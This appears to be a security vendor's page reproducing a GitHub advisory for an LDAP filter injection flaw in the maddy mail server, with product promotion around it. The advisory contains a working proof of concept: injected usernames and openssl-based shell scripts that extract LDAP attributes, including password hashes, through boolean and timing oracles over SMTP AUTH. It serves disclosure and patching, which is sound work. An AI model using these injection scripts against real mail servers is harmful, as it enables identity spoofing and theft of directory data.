GHSA-5835-4gvc-32pc is a high-severity (CVSS 8.2) CWE-90 vulnerability in github.com/foxcpp/maddy. O3 Security confirms whether GHSA-5835-4gvc-32pc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username
Real-World Exposure
github.com/foxcpp/maddyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The auth.ldap module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via strings.ReplaceAll() without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The go-ldap/ldap/v3 library—already imported in the same file—provides ldap.EscapeFilter() specifically for this purpose, but it is never called.
Patched version
Upgrade to maddy 0.9.3.
Details
Affected file: internal/auth/ldap/ldap.go
Three locations substitute the raw, attacker-controlled username into LDAP filter or DN strings with no escaping:
1. Lookup() — line 228 (filter injection)
func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {
// ...
req := ldap.NewSearchRequest(
a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
2, 0, false,
strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING
[]string{"dn"}, nil)
2. AuthPlain() — line 255 (DN template injection)
func (a *Auth) AuthPlain(username, password string) error {
// ...
if a.dnTemplate != "" {
userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username) // <-- NO ESCAPING
3. AuthPlain() — line 260 (filter injection)
} else {
req := ldap.NewSearchRequest(
a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
2, 0, false,
strings.ReplaceAll(a.filterTemplate, "{username}", username), // <-- NO ESCAPING
[]string{"dn"}, nil)
The go-ldap/ldap/v3 library (v3.4.10, imported at line 17) provides ldap.EscapeFilter() which escapes (, ), *, \, and NUL per RFC 4515. It is never called on user input.
No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.
PoC
Prerequisites:
- A maddy instance configured with
auth.ldapusing afilterdirective - An LDAP directory (e.g., OpenLDAP) with at least one user
- Network access to maddy's SMTP submission port (587) or IMAP port (993/143)
Step 1: Vulnerable maddy configuration
auth.ldap ldap_auth {
urls ldap://ldapserver:389
bind plain "cn=admin,dc=example,dc=org" "adminpassword"
base_dn "ou=people,dc=example,dc=org"
filter "(&(objectClass=inetOrgPerson)(uid={username}))"
}
submission tcp://0.0.0.0:587 {
auth &ldap_auth
# ...
}
Assume the LDAP directory contains users alice (password: alice_pass) and bob (password: bob_pass).
Step 2: Verify normal authentication works
# Encode AUTH PLAIN: \x00alice\x00alice_pass
AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64)
# Connect via SMTP submission with STARTTLS
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# Expected: 235 Authentication succeeded
Step 3: Boolean-based blind LDAP injection (attribute extraction)
An attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.
# Scenario: attacker knows bob's password ("bob_pass").
# Goal: extract bob's "description" attribute value one character at a time.
#
# Injected username: bob)(description=S*
# Resulting filter: (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))
#
# If bob's description starts with "S" → filter matches 1 entry (bob)
# → conn.Bind(bob_DN, "bob_pass") succeeds → 235 (SUCCESS)
# If not → filter matches 0 entries → 535 (FAILURE)
#
# By iterating characters, the attacker reconstructs the full attribute value.
# Test: does bob's description start with "S"?
INJECTED='bob)(description=S*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# 235 → yes, starts with "S"
# Narrow: does it start with "Se"?
INJECTED='bob)(description=Se*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
# ... repeat until full value is extracted
# This works for ANY LDAP attribute: userPassword hashes, mail,
# telephoneNumber, memberOf, etc.
For extracting attributes of other users (whose password the attacker does not know), a timing side-channel is used instead. The AuthPlain() function has two distinct failure paths:
- 0 entries matched (line 270): returns
ErrUnknownCredentialsimmediately — fast - 1 entry matched, bind fails (line 275): performs
conn.Bind()over the network, then returns — slow (adds LDAP bind round-trip latency)
Both return SMTP 535, but the timing difference is measurable:
# Target: extract alice's "description" attribute.
# Attacker does NOT know alice's password.
#
# Injected username: alice)(description=S*
# Resulting filter: (&(objectClass=inetOrgPerson)(uid=alice)(description=S*))
#
# If alice's description starts with "S":
# → 1 match → conn.Bind(alice_DN, "wrong") → bind fails → 535 (SLOW)
# If not:
# → 0 matches → immediate 535 (FAST)
#
# Timing delta ≈ LDAP bind RTT (typically 1-10ms on LAN, more over WAN)
for c in {a..z} {A..Z} {0..9}; do
INJECTED="alice)(description=${c}*"
AUTH_BLOB=$(printf "\x00${INJECTED}\x00wrong" | base64)
START=$(date +%s%N)
echo -e "EHLO test\r\nAUTH PLAIN ${AUTH_BLOB}\r\nQUIT\r\n" | \
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))
echo "char='$c' time=${ELAPSED}ms"
done
# Characters with significantly longer response times indicate a filter match.
Impact
Who is affected: Any maddy deployment that uses the auth.ldap module with either the filter or dn_template directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected.
What an attacker can do:
-
Identity spoofing: An attacker who knows any valid user's password can authenticate using an injected username that resolves to that user's DN via LDAP filter manipulation. The authenticated session identity (
connState.AuthUserin SMTP,usernamepassed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream. -
LDAP directory enumeration: By injecting wildcard filters (
*) and observing error responses (e.g., "too many entries" vs. "unknown credentials"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure. -
Attribute value extraction via boolean-based blind injection: An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g.,
bob)(description=X*) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel. -
DN template path traversal: When
dn_templateis used instead offilter(line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees.
Credit
Yuheng Zhang, Zihan Zhang, Jianjun Chen and Teatime Lab LTD.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/foxcpp/maddy | all versions | 0.9.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/foxcpp/maddy. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/foxcpp/maddy to 0.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5835-4gvc-32pc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5835-4gvc-32pc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5835-4gvc-32pc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5835-4gvc-32pc in your dependencies?
O3 detects GHSA-5835-4gvc-32pc across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.